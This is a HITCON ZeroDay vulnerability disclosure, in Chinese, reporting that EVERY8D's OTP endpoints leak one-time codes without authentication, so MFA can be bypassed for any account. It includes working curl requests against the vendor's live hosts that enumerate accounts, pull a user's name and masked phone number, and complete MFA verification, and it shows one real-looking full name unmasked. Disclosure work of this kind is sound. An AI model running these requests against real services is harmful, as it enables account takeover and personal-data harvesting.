互動資通 EVERY8D API/SendOTP.ashx OTP 值直接洩漏於回應(無需認證 MFA 完全繞過) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00630
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D API/SendOTP.ashx OTP 值直接洩漏於回應(無需認證 MFA 完全繞過)
  • Introduction: 端點無需認證即在回應中返回 base64 編碼的 OTP 值,攻擊者可對任意帳號完整繞過 MFA 驗證。

處理狀態

目前狀態

公開
Last Update : 2026/08/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/05 23:24:27 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:53:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:48:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/05 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/07/06 11:02:00 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:11:27 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/29 12:09:26 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/01 14:47:19 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/05 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00630
  • 通報者:guan4tou2 (罐頭)
  • 風險:高
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://every8d.teamplus.tech/every8d30/API/SendOTP.ashx
https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx
https://every8d.teamplus.tech/every8d30/API/MFAGetMobile.ashx
https://tw.e8d.tw/every8d30/API/SendOTP.ashx
https://tw.e8d.tw/every8d30/API/CheckMFAOTPNum.ashx
https://tw.e8d.tw/every8d30/API/MFAGetMobile.ashx

敘述

漏洞概述

every8d.teamplus.tech 及 tw.e8d.tw(EVERY8D 主要服務入口)的三個 API 端點在完全無需任何認證/session 的情況下可被任意存取(兩個主機均已實測確認):

  1. API/SendOTP.ashx:觸發 OTP 簡訊 + 在回應中以 base64 返回 OTP 本身(VerifyCode 欄位)
  2. API/CheckMFAOTPNum.ashx:驗證 OTP(無 session 綁定)
  3. API/MFAGetMobile.ashx:返回帳號的遮罩手機號碼與真實姓名

攻擊者只需知道 EVERY8D 帳號名稱,即可從 SendOTP.ashx 回應直接取得 OTP,再用於 CheckMFAOTPNum.ashx 通過 MFA 驗證,無需密碼。tw.e8d.tw 為互動資通主要 EVERY8D 服務入口(Registrant: Teamsplus Technology Inc.),影響範圍擴及所有 EVERY8D 帳號。

重現步驟(Live verified: 2026-05-05)

步驟 1:帳號存在確認 + PII 洩漏(附加發現)

curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/MFAGetMobile.ashx" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "login_name=jenny"

回應:

{"IsSuccess":true,"Description":"09*****900","name":"張XX","responseCode":"200","LoginName":"jenny","isSelf":true}

→ 無需認證,返回帳號手機(遮罩)與真實姓名 張輝蓮

步驟 2:觸發 OTP 並從回應取得 OTP 值

curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/SendOTP.ashx" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "login_name=jenny&isOTP=1&paramKey=MFA&remark=MFA%E7%9A%84OTP%E7%B0%A1%E8%A8%8A%E9%A9%97%E8%AD%89%E7%99%BB%E5%85%A5"

回應:

{"IsSuccess":true,"VerifyCode":"NDM4OTg0","responseCode":"200","Description":"成功"}

→ VerifyCode: "NDM4OTg0" → base64 decode → OTP = 438984(無需密碼、無需 session)

步驟 3:用洩漏的 OTP 通過 MFA 驗證

curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "OTPNum=438984&login_name=jenny&param_key=MFA"

回應:

{"IsSuccess":true,"responseCode":"200","Description":"登入驗證成功"}

→ MFA 驗證完全通過! 全程無需 jenny 的密碼或 session

步驟 4:第二次確認(OTP 已輪換)

# 再次觸發新 OTP
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/SendOTP.ashx" \
  -d "login_name=jenny&isOTP=1&paramKey=MFA&remark=MFA"
# → VerifyCode: "MTc1Mjgz" → base64 → OTP = 175283

# 驗證新 OTP
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx" \
  -d "OTPNum=175283&login_name=jenny&param_key=MFA"
# → IsSuccess: true, 登入驗證成功

已驗證影響(Verified)

every8d.teamplus.tech:

  • ✅ API/SendOTP.ashx 無需任何認證即可觸發(jenny 帳號 OTP SMS 送出確認)
  • ✅ VerifyCode 欄位以 base64 返回 OTP 本身(438984, 175283 均已驗證)
  • ✅ API/CheckMFAOTPNum.ashx 無需 session 通過 MFA 驗證(IsSuccess: true)
  • ✅ API/MFAGetMobile.ashx 洩漏帳號手機(遮罩)+ 真實姓名(jenny → 張XX)

tw.e8d.tw(EVERY8D 主要入口,2026-04-29 追加驗證):

curl -sk -X POST "https://tw.e8d.tw/every8d30/API/SendOTP.ashx" \
  -d "login_name=jenny&isOTP=1&paramKey=MFA&remark=test"
# → {"IsSuccess":true,"VerifyCode":"MzA2MDg0","responseCode":"200","Description":"成功"}
# MzA2MDg0 → base64 decode → OTP = 306084
curl -sk -X POST "https://tw.e8d.tw/every8d30/API/CheckMFAOTPNum.ashx" \
  -d "OTPNum=306084&login_name=jenny&param_key=MFA"
# → {"IsSuccess":true,"responseCode":"200","Description":"登入驗證成功"}
curl -sk -X POST "https://tw.e8d.tw/every8d30/API/MFAGetMobile.ashx" \
  -d "login_name=jenny"
# → {"IsSuccess":true,"Description":"09*****900","name":"張XX","responseCode":"200"}
  • ✅ tw.e8d.tw 三個端點均已確認同樣漏洞(OTP 306084 洩漏 + MFA 驗證成功)

潛在影響(Potential)

  • 對所有啟用 MFA 的 EVERY8D 帳號:MFA 機制完全失效,攻擊者可繞過雙因子驗證
  • 結合 /login/cert 認證繞過(另案):完整帳號接管(ATO)攻擊鏈
  • OTP 轟炸:無限次觸發 OTP 簡訊(無 rate limit 觀察到)
  • 大規模 PII 枚舉:透過 MFAGetMobile.ashx 批量洩漏用戶手機與姓名

漏洞根因

  • SendOTP.ashx 在回應中包含 VerifyCode(OTP 值),可能為開發/debug 殘留功能
  • 三個 ASHX 端點均未進行伺服器端 session 驗證,依賴前端 JS 只在登入流程中調用(典型前端驗證反模式)

修補建議

1. 立即:API/SendOTP.ashx 回應中移除 VerifyCode 欄位(OTP 不得在 HTTP 回應中出現)。
2. 立即:所有三個 ASHX 端點加入伺服器端 session 驗證。
3. 立即:API/SendOTP.ashx 加入 rate limiting(防 OTP 轟炸)。
4. 短期:稽核所有 /every8d30/API/ 下的 ASHX 端點是否有類似設計缺陷。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;